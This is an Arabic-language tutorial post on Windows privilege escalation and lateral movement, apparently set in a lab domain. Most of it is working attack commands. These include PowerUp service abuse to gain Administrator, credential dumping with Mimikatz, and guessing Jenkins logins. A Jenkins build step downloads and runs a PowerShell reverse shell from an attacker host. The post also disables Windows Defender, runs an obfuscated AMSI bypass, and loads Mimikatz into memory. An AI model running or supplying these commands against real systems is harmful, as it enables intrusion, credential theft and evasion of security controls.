Privilege Escalation And Lateral Movement Part 1

Jehad Alqurashiمنذ سنتين

السلام عليكم ورحمة الله وبركاته

الحمد لله على جميع نِعمه علينا ما علمنا منها وما لم نعلم حمداً والصلاة والسلام على نبينا محمد اشرف الخلق والمرسلين, اما بعد:

 

مقدمة:

في هذي المقالة راح نشرح كيفية رفع الصلاحية الى Administrator على الجهاز المتواجدين عليه عن طريق اداة Power Up فكرة الاداة هذي تسوي Automation لطرق رفع الصلاحيات وراح نشرح ايش الفايدة من رفع الصلاحية


من ثم راح ننتقل من جهاز الى جهاز مرتبط بالدومين الى مانوصل الى الدومين كنترولر


تنويه: شرحت في مقالات سابقة طرق كثيرة الى رفع الصلاحيات على الوندوز و هذي المقالة راح تكون اكثر من جزء

 

الشرح:

راح نبدا في المقالة بعد مانسوي Load للسكربت في الميموري عشان نتخطى ال Windows Defender  وايضا بعد تخطي  ال AMSI وانا شرحت طرق التخطي هذي في المقالة الاولى

المقالة الاولى

هذا الامر راح يسوي Enumerate لطرق رفع الصلاحية على النظام
 

Invoke-AllChecks

نلاحظ ان في ملعومات كثير ظهرت لنا بس اللي يهمنا حقل Service Name و CanRestart طبعا ظهرت لنا خدمتين مصابة وهي:

1 - AbyssWebServer

2 - gupdate

بس في هنا نقطة مهمة لو نلاحظ حقل CanRestart بالنسبة لخدمة gupdate قيمتها False ف ماراح ينفع نستغلها لان مانقدر نسوي لها Restart

اما بالنسبة لخدمة AbyssWebServer نلاحظ انه حقل CanRestart قيمته True ف هذا يعني يمكننا استغلالها :)


هذا الامر تعطيه اسم السيرفس واسم المستخدم اللي تبيه يرفع صلاحيته الى Administrator

طبعا اسم المستخدم اللي انا داخل فيه student

Invoke-ServiceAbuse -Name "AbyssWebServer" -UserName "dcorp\student407"

الان رفعنا صلاحياتنا الى Administrator على الجهاز اللي نحن داخلين فيه كل اللي علينا نسوي Logoff بعدين Logon

طيب ايش راح نستفيد من رفع الصلاحيات؟

راح نقدر نشغل اداة Mimikatz هذي الاداة فكرتها انها راح تسحب الباسوردات المخزنة في الميموري وهذي الاداة اصلا ماتشتغل الا بصلاحية Administrator
 

الان راح نشغل PowerShell بصلاحية Administrator ونشغل اداة Mimikatz



هذا الامر في اداة Mimikatz راح يستخرج لنا الباسوردات المخزنة في الميموري
 

sekurlsa::logonpasswords

بس نلاحظ انه ماظهرنا باسورد لمستخدم معين فقط الباسورد الخاص في المستخدم اللي انا فيه ايش الحل :(
 

الان راح اسوي Port Scan للاجهزة اللي موجودة على الشبكة عن طريق  Nmap بالامر هذا

 

nmap -sV  172.16.3.0/24 -PS

نلاحظ انه ظهر لنا ايبي موجود عليه عدة بورتات مفتوحة اول شي راح اشيك على بورت ال http نشوف هل مركب عليه cms وهذا ال cms له استغلال

 

 

نلاحظ انه عليه CMS اسمه jenkins بعد ماقرات عنه طلع يقوم على اتمتة البرمجيات وتكاملها وانه اذا كان عندك صلاحيات Project Manager راح تقدر تجيب Reverse Shell على الجهاز

 لو نلاحظ مع بعض انه في عدد من المستخدمين موجودين على النظام مثل Manager,jenkinsadmin,builduser

 

راح اجرب اسجل دخول لكل مستخدم واحط الباسورد نفس اسم المستخدم الخاص فيه


طبعا بعد ماجربت المستخدم Manager و Jenkinsadmin ماسجلي دخول

 

اما بالنسبة للمستخدم buliduser سجل دخول معي


Username:builduser Password:builduser

 طيب راح نختار اي مشروع من الموجودين في الصفحة راح اختار مثلا المشروع رقم 14

راح نروح الى خيار Configure بعد كذا ننزل الى اخر الصفحة راح نلاقي حقل يسمح لك انه تنفذ فيه اوامر على السيرفر
 

الان راح استخدم سكربت PowerShell عشان نجيب Reverse Shell

 

https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1

الان راح اشغل http server بالبايثون وارفع عليه ملف البورشيل عشان ننقلة الى الجهاز اللي موجود علية ال CMS


 



الان كل اللي علينا نفتج بورت للتنصت عن طريق PowerCat او NetCat
 

وننفذ هذا الامر في حقل الاوامر

 

powershell.exe iex (iwr http://172.16.100.7:9090/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Power -Reverse -IPAddress 172.16.100.7 -Port 889

بعدها نسوي Save ونرجع نسوي Build للمشروع


 

وبكذا جبنا Reverse Shell الان كل اللي علينا نشوف هل المستخدم اللي نحن عليه ضمن قروب ال Administrator او لا


 

زي ما انتوا شايفين نحن بصلاحية Administrator على الجهاز اللي متواجدين عليه

 

راح ننقل اداة Mimikatz الى الجهاز اللي مخترقينة وعندنا عليه Administrator بس قبل ننقل الملف راح نوقف ال Windows Defender عن طريق هذا الامر:

 

 Set-MpPreference -DisableRealtimeMonitoring $true

بعد كذا راح نتخطى ال AMSI عن طريق هذا الامر:

 

(neW-oBJeCt  iO.COMpRESsiOn.DeflAteSTrEAm([io.MemoryStREAM][coNveRT]::FrOmBAsE64StRINg( 'pZJRT9swEMff/SlOVqQmIqsyOjZENQnKpAkJWEUZe4jy4CaX1ZoTW7YzGqZ9dy5uBoWHvZAH53y+/8/3tx39kO3sED7DKWesc7L9CaveeWzmL2bTm671ssHpRevRarNC+1uW6OaMmW6tZAmlEs7BjvaHMaAv/6LURWO09TH/hbZFNTvkSRHWRpXzwtMPt0RtgeBLb+Er+qXV5VlVWXQuHrObK111ClPS2KExQyXXosFk/rbdLrWoLuXaCtvHI7p9C3attYI7aX0nFNnwWPp/FpQZPaXwfUxV9yv5QKY62Xqo1TXej5oUdOd3aWVq9U1V48LQ2F/GTxkj2Lvb3iBE4dgZi/a80JXmIV2cnOxb5KLhcADcyWmlFE9YNPa0L3h1A/vcFPhZ42RgrErRhmDR1TXaAWYIk7En0KtziJ7854MzKjlKIdt+yChhsS4iQ4il8OVm6GbRe8yLAuJsuzge6o4+DWOWhTHExyE+n5GM7u49qSb5/1/s9EpYtxGKmpsE0fD4J+fa9PFuZwKm8Nzox2TCJG7jHf8AgiRhjw==' ) , [SySteM.io.comPREssioN.CoMPReSSIONMOde]::DEcompreSS)| % { neW-oBJeCt io.sTreAMreaDER( $_ ,[TexT.eNcoDInG]::asCii)}).readtOeNd() |iEX

الان راح ننقل ملف ال Mimikatz الى الجهاز المخترق ونسويها لها Load في الميموري دايركت عن طريق هذا الامر
 

iex (iwr http://172.16.100.7:9090/Invoke-Mimikatz.ps1 -UseBasicParsing)


تنبيه: اداة ال Mimikatz اللي تم نلقها للجهاز المخترق صغيتها ps1 اما اللي كانت ف بداية المقالة كانت صيغتها exe طبعا كلها موجودة بموقع قيت اب
 

الان كل اللي علينا ننفذ هذا الامر عشان نشوف هل في باسوردات مهمة في الميموري تهمنا او لا:

 

Invoke-Mimikatz


 

 

نلاحظ انه مالقينا اي باسورد لمستخدم يهمنا (;

 

في المقالة القادمة راح نكمل على نفس السيناريو ونشوف كيف راح نتقدم في الاختراق الى مانوصل الى Domain Controller



شاكر لكم,

 

كلمات دليلية: hacking
1
إعجاب
1871
مشاهدات
0
مشاركة
2
متابع

التعليقات (0)

لايوجد لديك حساب في عالم البرمجة؟

تحب تنضم لعالم البرمجة؟ وتنشئ عالمك الخاص، تنشر المقالات، الدورات، تشارك المبرمجين وتساعد الآخرين، اشترك الآن بخطوات يسيرة !